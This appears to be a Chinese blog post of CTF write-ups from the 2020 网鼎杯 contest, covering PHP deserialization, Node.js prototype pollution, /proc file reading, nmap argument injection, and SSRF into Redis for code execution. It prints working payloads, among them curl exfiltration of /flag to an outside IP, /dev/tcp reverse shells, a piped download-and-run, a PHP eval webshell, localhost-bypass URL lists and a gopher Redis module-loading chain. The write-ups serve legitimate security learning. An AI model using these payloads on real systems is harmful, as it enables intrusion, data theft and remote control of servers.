网鼎杯做题记录

[网鼎杯 2020 青龙组]AreUSerialz

题目直接给了源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

逻辑比较简单,分析一下就是用op的值控制是读还是写的操作,这里直接想到的是读flag.php,这里有两个点要绕过。第一个就是

is_valid函数限制序列化protected时产生的0x00,还有一个是__destruct() 函数判断op===2使op为1是写入操作,同时让content为空字符,这样就写了个寂寞。

解法一:

利用php>7.1版本时对于public protected并不敏感,序列化时可直接用public,让op等于数字2,强弱类型比较不解释了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class FileHandler
{

public $op;
public $filename;
public $content;

function __construct(){
$this->op = 2;
$this->filename = "flag.php";
$this->content = "Hello World!";
}

}
$a = new FileHandler();
$demo = serialize($a);
echo $demo;
#输出</code>[Result]: <br><?php $flag='flag{ce554f72-394d-480a-94e4-f42e3362042b}';

解法二:

protected序列化出来的s变成S,ascii空字符改成十六进制\00即可

看了看wp,似乎buu这个环境和当时比赛时也不一样,当时还需要读路径,因为apache配置下destruct函数在执行时就不在本目录了,这个可以参考https://blog.csdn.net/fwkjdaghappy1/article/details/7631475,用相对路径对不出来flag,想要获取绝对路径,可以通过读取,/proc/self/cmdline,然后可以知道配置文件路径 /web/config/httpd.conf。

NOTES

审计源码edit_not路由存在写入操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

写入操作用的是undersafe,存在原型链污染,再往下看发现执行命令的地方

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

执行系统命令在输出,这里将污染commands字典来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

令command多了一个键值对 author:系统命令,遍历时自动执行
/edit_note post传参 id=proto.bb&author=curl -F ‘flag=@/flag’ 174.1.84.222:2333&raw=a
或者:id=_proto_,author=bash -i > /dev/tcp/ip/port 0>&1,raw=123
id=proto.abc&author=curl%20ip:port/shell.txt|bash&raw=a
id=proto&author=cat /flag>/dev/tcp/xxxxx/7777&raw=123

这里需要用buu小号重开一个Linux Labs反弹,因为buu只能反弹shell到内网。

PicDown

打开界面看了一下get参数有url简单试了下就出来了../../../../../../../../../flag。。肯定不是预期解,看一下预期解。

预期解

又考了下关于进程信息的东西。参考:https://blog.csdn.net/shenhuxi_yu/article/details/79697792

在/proc 文件系统中,每一个进程都有一个相应的文件 。下面是/proc 目录下的一些重要文件 :

/proc/pid/cmdline 包含了用于开始进程的命令 ;

/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;

/proc/pid/environ 包含了可用进程环境变量的列表 ;

/proc/pid/exe 包含了正在进程中运行的程序链接;

/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;

/proc/pid/mem 包含了进程在内存中的内容;

/proc/pid/stat 包含了进程的状态信息;

/proc/pid/statm 包含了进程的内存使用信息。

PID一列代表了各进程的进程ID,也就是说,PID就是各进程的身份标识。/proc/self表示当前进程目录

这里用到了/proc/self/cmdline读取当前进程执行命令,用python2执行了app.py脚本,读取一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

只过滤了url参数开头不能用file协议,怪不得有非预期。在后面可以看到no_one_know_the_manager中要匹配SECRET_KEY,然后执行shell,但是SECRET_KEY所在的secret.txt被删掉了,这里就用到了/proc/pid/fd/读取,这个目录包含了进程打开的每一个文件的链接。爆破出secret在/proc/pid/fd/3

在这里插入图片描述

随后用shell参数反弹shell就行了。

NMAP

参考文章:http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;|\*?~<>^()[]{}$, \x0A和 \xFF。 *’* 和 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

定义string escapeshellcmd ( string $command)

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

定义string escapeshellarg ( string $arg )

题解

考察命令执行,和escapeshellarg的绕过

打开界面,发现是nmap,试一下127.0.0.1正常输出扫描结果,这肯定是命令执行,试一下127.0.0.1| ls,发现转义了|。

在这里插入图片描述

参考上面的文章绕过转义,这里有很多payload,注意php也被过滤了

' <?= @eval($_POST['cmd'];)> -oG pd.phtml '

127.0.0.1' -iL ../../../../flag -o 1

在线测试了一下,没问题

在这里插入图片描述

可以看一下源码

在这里插入图片描述

读flag

在这里插入图片描述****

PHPWEB

抓包发现有两个参数func和p,又提示有func最开始为date函数,猜测这里可以执行函数命令,试了一下system等发现被过滤,最后尝试了半天试了下func=readfile&p=./index.php,读到了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

审计一下发现考的还是反序列化,直接exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Test {
var $p;
var $func;
function __construct($func, $p) {
# code...
$this->p = $p;
$this->func = $func;
}
}
$demo = new Test("system", "ls /");
echo serialize($demo);

最后尝试了flag在/tmp/flagoefiu4r93

在这里插入图片描述

SSRFME

参考文章

https://zhuanlan.zhihu.com/p/147371417

https://blog.csdn.net/gqtcgq/article/details/50273431

https://xz.aliyun.com/t/5665#toc-0

https://xz.aliyun.com/t/8163#toc-7

https://xz.aliyun.com/t/5616

前言

尝试建立主从连接过程,首先在配置中修改

1
2
3
4
5
6
7
protected-mode 设置为no    允许外部ip访问
找到bind 127.0.0.1 注释掉,这个是redis服务绑定可访问的ip, 所以127.0.0.1之外的机器都访问不了此redis服务
firewall-cmd --zone=public --add-port=6379/tcp --permanent 开放端口
注意在服务器防火墙上也得开放端口
daemonize 设置为yes

然后启动redis-server 即可默认6379端口也可设置为其他端口

从服务器会从服务器同步数据

在这里插入图片描述

写入文件

在这里插入图片描述

原理

  • slaveof(新版改为REPLICAOF)建立后slave会向master发送PSYNC,请求开始复制
  • master可以返回FULLRESYNC,进行全量复制,然后将自己持久化的数据发给slave,正常情况下包括Replication ID, offset,master存储的key-value等等
  • slave会将这些数据保存到config中dbfilename指定的文件(默认为dump.rdb),然后再载入。
  • 通过伪造master,可以控制发往slave的信息,从而做到无脏数据写文件
  • 在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
  • 因此通过FULLRESYNC写入恶意so文件,然后MODULE LOAD /path/to/mymodule.so载入模块即可rce

题解

第一关绕过

1
2
3
4
5
6
7
parse_url与libcurl对url的解析差异绕过check_inner_ip函数对内网地址的判断
http://u:p@127.0.0.1:80@baidu.com/hint.php
还可以用0.0.0.0表示ipv4下所有ip地址
http://0.0.0.0/hint.php
http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php
也可以DNS Rebinding。让域名在check_inner_ip的时候为外部地址,而curl请求的时候又变成内部IP。
https://lock.cmpxchg8b.com/rebinder.html

网上也看到很多绕过技巧

利用URL的解析问题,

利用不存在的协议头绕过指定的协议

其他各种指向127.0.0.1的地址

进制的转换绕过内网IP

利用302跳转绕过内网IP

1
2
3
4
5
6
7
8
9
http://localhost/         # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0.0.0.0/ # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127001/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

下一层源码,这里可以参考上面的文章,但考点不在这,几个payload打不通。这里可以看到有redis密码,应该是ssrf打redis。

1
2
3
4
5
6
7
8
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

考点最后是redis主从复制来getshell,两个自动化脚本

https://github.com/xmsec/redis-ssrf

https://github.com/n0b0dyCN/redis-rogue-server

第二个项目中打ssrf的需要根据服务器改一下ip,rce命令也可以改,由于需要绕过第一层gopher访问的ip也要改成0.0.0.0.并且将第一个项目的exp.so上传到同目录。buu小号开一个服务器,下载两个项目,生成payload,解码看一下,手动打也差不多按这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
gopher://0.0.0.0:6379/_*2
$4
AUTH
$4
root //这里先认证
*3
$7
SLAVEOF
$14
172.16.152.217 //将服务器设置为主服务器
$4
6666
*4
$6
CONFIG //设置目录
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so //上传exp.so
*3
$6
MODULE //加载so文件
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec //执行命令
$14
cat${IFS}/flag
*1
$4
quit

生成payload后再buu服务器上开启redis服务 python rogue-server.py等待连接,回复FULLRESYNC进行全量复制。但很奇怪没有打出来。

在这里插入图片描述

前面已经返回ok了,到load so文件时出错了。。。。这里卡了很久,后来发现是buu靶机上没有git命令我用xshell传上去的,可能是so文件的问题。exp.so没有成功加载到从服务器上,不知道是不是buu环境的问题。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!